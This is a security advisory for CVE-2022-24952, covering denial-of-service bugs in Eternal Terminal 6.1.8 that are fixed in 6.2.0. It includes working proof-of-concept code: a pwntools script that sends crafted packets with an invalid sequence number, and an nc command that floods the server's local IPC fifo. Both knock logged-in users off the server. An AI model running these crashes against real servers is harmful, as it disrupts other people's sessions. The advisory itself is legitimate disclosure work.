Eternal Terminal DoS Vulnerabilities

Low vladionescu published GHSA-8cw3-6r98-g7cw on Jul 20

Package

Eternal Terminal (C++)

Affected versions	Patched versions
6.1.8	6.2.0

Description

Vulnerability Description:

There are several ways that authenticated attackers can crash the Eternal Terminal, I have highlighted two here.

The first is by having a sequence number that is invalid (for example, a message with a sequence number higher than that contained in the `BackedReader` buffer).

The second is by sending any invalid input to the local IPC socket `/tmp/etserver.idpasskey.fifo`.

Run the proof of concepts while logged in via Eternal Terminal. Observe that the user is disconnected from the server.

Proof of Concept:

Sequence number crash:

On server (register user):

```
echo 'AYhbylmc29TUJEau/E59AD03E34FC3AB9DED568F47EA27677_xterm-256color\n' | etterminal
```

On attacker machine:

```
#!/usr/bin/env python3


from pwn import *
import argparse

parser = argparse.ArgumentParser(description='[*] Send requests to an ET server')
parser.add_argument('host',help='host to send the requests to')
parser.add_argument('port',help='port to send the request to', default=2022)
args = parser.parse_args()

def send_init_connect(host, port):
    r = remote(host, port)
#Initial Request
    init_request=bytes.fromhex("14 00 00 00 00 00 00 00 0a 10 41 59 68 62 79 6c 6d 63 32 39
54 55 4a 45 61 75 10 06")
    r.send(init_request)
    print(hexdump(r.recv(timeout=200)))

#Sequence number
    r.send(bytes.fromhex("02 00 00 00 00 00 00 00 08 7e"))
    print(hexdump(r.recv(timeout=200)))

#Follow up
    r.send(bytes.fromhex("00 00 00 00 00 00 00 00"))
    print(hexdump(r.recv(timeout=200)))
#r.interactive()

if __name__ == "__main__":
    send_init_connect(args.host, args.port)
```

Local IPC crash:

On server:

```
echo '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n' | nc -U /tmp/etserver.idpasskey.fifo
```

Timeline:

10/29/21: Vulnerabilities were disclosed to author of ET
11/3/21: Partial fixes for the most serious issues to ET were released (but not this particular issue)
1/27/22: 90 day deadline for public disclosure reached

Severity

Low

CVE ID

CVE-2022-24952

Weaknesses

No CWEs

Credits

adi-ajit